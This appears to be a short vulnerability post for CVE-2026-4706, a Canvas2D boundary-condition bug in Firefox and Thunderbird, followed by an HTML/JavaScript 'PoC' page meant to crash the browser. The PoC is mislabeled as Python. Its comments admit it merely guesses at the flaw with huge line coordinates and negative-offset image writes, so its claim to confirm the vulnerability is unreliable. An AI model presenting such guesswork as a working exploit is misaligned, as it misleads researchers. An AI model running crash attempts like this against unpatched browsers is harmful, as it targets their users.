Incorrect boundary conditions in the Graphics: Canvas2D component. This vulnerability was fixed in Firefox 149, Firefox ESR 115.34, Firefox ESR 140.9, Thunderbird 149, and Thunderbird 140.9.
The following code is for security research and authorized testing only.
python
<!DOCTYPE html>
<html>
<head>
<title>PoC for CVE-2026-4706</title>
<meta charset="UTF-8">
</head>
<body>
<h3>CVE-2026-4706 Canvas2D Boundary Condition PoC</h3>
<p>This PoC attempts to trigger the crash by manipulating Canvas 2D operations.</p>
<canvas id="targetCanvas" width="800" height="600"></canvas>
<script>
// Get the 2D context
var ctx = document.getElementById('targetCanvas').getContext('2d');
try {
console.log("Starting PoC execution...");
// Loop to stress test boundary conditions
// Based on the vulnerability description, we attempt to hit incorrect boundary checks
for (var i = 0; i < 5000; i++) {
// Create a path with potentially problematic coordinates
ctx.beginPath();
ctx.moveTo(i, i);
// Use large values or specific patterns to trigger the bug
ctx.lineTo(i + 1000000, i + 1000000);
ctx.stroke();
// Manipulate image data which often involves direct memory access
if (i % 100 === 0) {
var imgData = ctx.getImageData(0, 0, 100, 100);
ctx.putImageData(imgData, -10, -10); // Negative coordinates to test bounds
}
}
console.log("PoC loop finished. If the browser crashes, the vulnerability is confirmed.");
} catch (e) {
console.error("An exception occurred during PoC execution: " + e.message);
}
</script>
</body>
</html>